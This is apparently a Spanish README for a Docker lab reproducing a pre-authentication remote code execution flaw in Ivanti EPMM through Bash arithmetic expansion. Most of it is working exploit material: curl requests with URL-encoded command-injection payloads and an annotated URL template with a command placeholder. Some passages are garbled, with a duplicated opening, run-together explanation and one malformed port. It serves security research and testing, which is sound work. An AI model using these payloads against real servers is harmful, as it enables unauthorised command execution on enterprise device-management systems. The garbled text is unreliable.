
Una aplicación de demostración simple que muestra cómo reproducir la vulnerabilidad RCE de pre-autenticación en Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) con fines educativos y de investigación en seguridad.
Una aplicación de demostración simple que muestra cómo reproducir la vulnerabilidad de RCE pre-auth de Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) con fines educativos y de investigación en seguridad.
Esta vulnerabilidad explota el comportamiento de la expansión aritmética de Bash. Cuando una variable que contiene una referencia a otra variable se usa en un contexto aritmético, y esa variable referenciada contiene un índice de array con sustitución de comandos, el comando se ejecuta.
st=theValue (cadena literal "theValue" con relleno)h=gPath[\comando`]` (comando en el índice del array)theValue en cada iteracióngStartTime se establece en la cadena literal "theValue"theValue contiene gPath[\comando`]`[[ ${currentTime} -gt ${gStartTime} ]]:
${gStartTime} → "theValue" (cadena)theValue como referencia a variabletheValue → gPath[\comando`]`# Construir e iniciar el contenedor
docker-compose up --build -d
# Verificar que está en ejecución
curl http://localhost:8180/health
Crea un archivo para demostrar la ejecución de comandos:
# Payload codificado en URL: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Verificar si el archivo fue creado
cat artifacts/poc
Verifica con un comando sleep:
# Debería tardar ~5 segundos en responder
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Escribir contenido personalizado
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMANDO%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Payload: gPath[`COMANDO`]
│ │ └─ Marca de tiempo final (cualquier 10 dígitos)
│ └─ CRÍTICO: "theValue" literal + 2 espacios (10 caracteres en total)
└─ Índice de clave (cualquier valor)
# Ver los registros del contenedor
docker-compose logs -f
# Obtener un shell en el contenedor
docker exec -it ivanti-epmm-vuln /bin/bash
# Ver los registros de error de nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
Esto es solo para fines educativos y de pruebas de seguridad autorizadas. No lo utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.